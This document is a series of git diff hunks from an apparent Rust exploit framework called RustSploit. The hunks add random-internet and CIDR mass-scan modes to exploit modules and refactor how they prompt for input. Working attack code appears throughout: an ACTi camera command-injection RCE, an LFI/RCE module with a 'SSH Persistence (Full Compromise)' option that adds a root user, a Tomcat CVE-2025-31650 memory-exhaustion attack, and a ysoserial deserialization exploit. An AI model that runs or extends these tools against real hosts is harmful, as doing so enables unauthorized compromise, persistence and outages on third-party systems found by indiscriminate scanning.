|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
// Use shared normalization for the host/port part
|
||||
let normalized_host = normalize_target(host_part)?;
|
||||
|
||||
// Check if normalized host implies a port. normalize_target returns host:port or host.
|
||||
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
|
||||
// However, existing logic seemed to force a port.
|
||||
// Let's check if port is present.
|
||||
// A simple heuristic: if it ends with digit, check for colon.
|
||||
// [ipv6]:port, ipv4:port, host:port.
|
||||
// If we assume normalize_target did its job, we just need to adhere to the return type.
|
||||
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
|
||||
// Checking for port on a normalized string:
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let final_host = if has_port {
|
||||
normalized_host
|
||||
} else {
|
||||
format!("{}:{}", normalized_host, default_port)
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((final_host, normalized_path))
|
||||
}
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
|
||||
@@ -1,9 +1,15 @@
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
// use std::sync::Arc; // Removed unused import
|
||||
use std::time::Instant;
|
||||
use colored::*;
|
||||
use tokio::sync::Mutex;
|
||||
use std::collections::HashMap;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use rand::Rng;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::process::Command;
|
||||
|
||||
|
||||
|
||||
/// Standard statistics tracking for bruteforce modules
|
||||
pub struct BruteforceStats {
|
||||
@@ -117,3 +123,81 @@ impl BruteforceStats {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
// Basic check first to avoid expensive loop
|
||||
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
|
||||
// Ensure state file exists before checking
|
||||
if !std::path::Path::new(state_file).exists() {
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.flush().await;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(state_file)
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in min_ranges {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
exclusion_subnets
|
||||
}
|
||||
|
||||
@@ -11,8 +11,10 @@ use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::io::{self, Write};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
@@ -156,6 +158,7 @@ fn display_banner() {
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
@@ -171,55 +174,31 @@ async fn execute(target: &str) -> Result<()> {
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
|
||||
let mut choice = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut choice)
|
||||
.await
|
||||
.context("Failed to read choice")?;
|
||||
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut fp = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut fp)
|
||||
.await
|
||||
.context("Failed to read file path")?;
|
||||
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut cmd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd)
|
||||
.await
|
||||
.context("Failed to read command")?;
|
||||
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut pwd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut pwd)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
@@ -261,11 +240,28 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions (FIRST)
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
io::stdout().flush()?;
|
||||
let mut outfile = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut outfile).await?;
|
||||
io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
@@ -275,9 +271,9 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!(" 1. Standard Check (Command: id)");
|
||||
println!(" 2. Custom Command");
|
||||
print!("{}", "Select option [1-2] (default 1): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut mode_str).await?;
|
||||
io::stdin().read_line(&mut mode_str)?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
@@ -286,19 +282,11 @@ async fn run_mass_scan() -> Result<()> {
|
||||
let mut custom_cmd = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command: ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut custom_cmd).await?;
|
||||
io::stdout().flush()?;
|
||||
std::io::stdin().read_line(&mut custom_cmd)?;
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -337,7 +325,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
@@ -368,7 +356,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
execute(target).await
|
||||
|
||||
@@ -1,8 +1,21 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use ipnetwork::IpNetwork;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use rand::Rng;
|
||||
use chrono::Local;
|
||||
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
|
||||
|
||||
|
||||
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
@@ -15,6 +28,28 @@ use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
@@ -24,50 +59,172 @@ fn display_banner() {
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
|
||||
|
||||
// Prompt for port
|
||||
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
let port = prompt_port("Target Port", 8080)?;
|
||||
|
||||
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
|
||||
let outfile = Arc::new(outfile);
|
||||
|
||||
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
|
||||
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
.expect("Failed to open output file");
|
||||
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd_input)
|
||||
.await
|
||||
.context("Failed to read command input")?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
println!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
if let Ok(true) = check(&ip, port).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
return run_mass_scan().await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
// Check for CIDR or Range
|
||||
let is_mass_scan = target.contains('/') || target.contains('-');
|
||||
|
||||
// Prompt for port globally
|
||||
let port = prompt_port("Target Port", DEFAULT_PORT)?;
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
|
||||
|
||||
let ips: Vec<IpAddr> = if target.contains('/') {
|
||||
// CIDR
|
||||
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
|
||||
net.iter().collect()
|
||||
} else {
|
||||
// Range (basic impl for dash)
|
||||
// For now, let's assume specific basic range or just use utils if available.
|
||||
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
|
||||
// or simple parsing if the user provided a list.
|
||||
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
|
||||
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
|
||||
// However, user asked for "mass scan", likely CIDR.
|
||||
|
||||
// Re-use logic from other modules?
|
||||
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
|
||||
|
||||
let concurrency = 50;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let vulnerable_count = Arc::new(AtomicUsize::new(0));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in ips {
|
||||
let sem = semaphore.clone();
|
||||
let vc = vulnerable_count.clone();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
if let Ok(true) = check(&ip_str, port).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
|
||||
vc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
drop(_permit);
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
|
||||
|
||||
} else {
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
// Single Target Mode (Original Logic)
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd_input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut cmd_input)
|
||||
.context("Failed to read command input")?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -6,7 +6,7 @@ use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use rand::prelude::IndexedRandom;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::io::Write;
|
||||
|
||||
/// TomcatKiller - CVE-2025-31650
|
||||
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
|
||||
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
|
||||
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
|
||||
|
||||
let port = prompt_for_port().await.unwrap_or(443);
|
||||
let port = prompt_for_port().unwrap_or(443);
|
||||
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
@@ -67,17 +67,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn prompt_for_port() -> Option<u16> {
|
||||
fn prompt_for_port() -> Option<u16> {
|
||||
print!("{}", "Enter target port (default 443): ".cyan());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.ok()?;
|
||||
|
||||
let mut buffer = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut buffer)
|
||||
.await
|
||||
.ok()?;
|
||||
|
||||
let trimmed = buffer.trim();
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
use anyhow::{bail, Context, Result};
|
||||
use crate::utils::validate_command_input;
|
||||
use anyhow::{bail, Result};
|
||||
use crate::utils::{validate_command_input, normalize_target, prompt_default, prompt_port};
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::path::Path;
|
||||
use std::process::{Command, Stdio};
|
||||
use std::time::Duration;
|
||||
|
||||
use tokio::fs::{read, remove_file};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const BANNER: &str = r#"
|
||||
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
|
||||
@@ -17,35 +17,7 @@ const BANNER: &str = r#"
|
||||
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
|
||||
"#;
|
||||
|
||||
/// // Sanitize IPv6 URL
|
||||
fn sanitize_target(raw: &str) -> String {
|
||||
let fixed = raw.replace("[[", "[").replace("]]", "]");
|
||||
if fixed.starts_with("http://") || fixed.starts_with("https://") {
|
||||
fixed
|
||||
} else {
|
||||
format!("http://{}", fixed)
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt helper with proper error handling
|
||||
async fn prompt(message: &str, default: Option<&str>) -> Result<String> {
|
||||
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read user input")?;
|
||||
let input = buf.trim();
|
||||
if input.is_empty() {
|
||||
Ok(default.unwrap_or("").to_string())
|
||||
} else {
|
||||
Ok(input.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if server is writable
|
||||
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
|
||||
@@ -256,11 +228,13 @@ async fn execute_exploit(
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{BANNER}");
|
||||
|
||||
let mut target = sanitize_target(target);
|
||||
let scheme = if target.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(target)?;
|
||||
let mut target = format!("{}://{}", scheme, normalized);
|
||||
println!("[+] Target sanitized: {}", target);
|
||||
|
||||
let mut command = String::from("calc.exe");
|
||||
let mut port = prompt("Enter port (default 8080)", Some("8080")).await?;
|
||||
let mut port = prompt_port("Enter port", 8080)?.to_string();
|
||||
println!("[+] Default port set to {}", port);
|
||||
|
||||
let mut ysoserial_path = String::from("ysoserial.jar");
|
||||
@@ -284,30 +258,34 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"#
|
||||
);
|
||||
|
||||
let selection = prompt("Select an option", None).await?;
|
||||
let selection = prompt_default("Select an option", "")?;
|
||||
match selection.as_str() {
|
||||
"1" => {
|
||||
target = prompt("Enter target URL", Some(&target)).await?;
|
||||
let raw_input = prompt_default("Enter target URL", &target)?;
|
||||
let scheme = if raw_input.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(&raw_input)?;
|
||||
target = format!("{}://{}", scheme, normalized);
|
||||
println!("[+] Target updated: {target}");
|
||||
}
|
||||
"2" => {
|
||||
command = prompt("Enter command to execute", Some(&command)).await?;
|
||||
command = prompt_default("Enter command to execute", &command)?;
|
||||
println!("[+] Command set: {command}");
|
||||
}
|
||||
"3" => {
|
||||
port = prompt("Enter port", Some(&port)).await?;
|
||||
let p_u16 = prompt_port("Enter port", port.parse().unwrap_or(8080))?;
|
||||
port = p_u16.to_string();
|
||||
println!("[+] Port set: {port}");
|
||||
}
|
||||
"4" => {
|
||||
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path)).await?;
|
||||
ysoserial_path = prompt_default("Path to ysoserial.jar", &ysoserial_path)?;
|
||||
println!("[+] ysoserial path set: {ysoserial_path}");
|
||||
}
|
||||
"5" => {
|
||||
gadget = prompt("Enter gadget", Some(&gadget)).await?;
|
||||
gadget = prompt_default("Enter gadget", &gadget)?;
|
||||
println!("[+] Gadget set: {gadget}");
|
||||
}
|
||||
"6" => {
|
||||
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type)).await?;
|
||||
payload_type = prompt_default("Payload type (ysoserial/java)", &payload_type)?;
|
||||
if payload_type != "ysoserial" && payload_type != "java" {
|
||||
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
|
||||
payload_type = "ysoserial".into();
|
||||
|
||||
@@ -7,11 +7,12 @@ use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::escape_shell_command;
|
||||
use std::io::{Write, BufRead};
|
||||
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
|
||||
|
||||
|
||||
const DEFAULT_PORT: &str = "80";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
@@ -48,23 +49,7 @@ fn display_banner() {
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
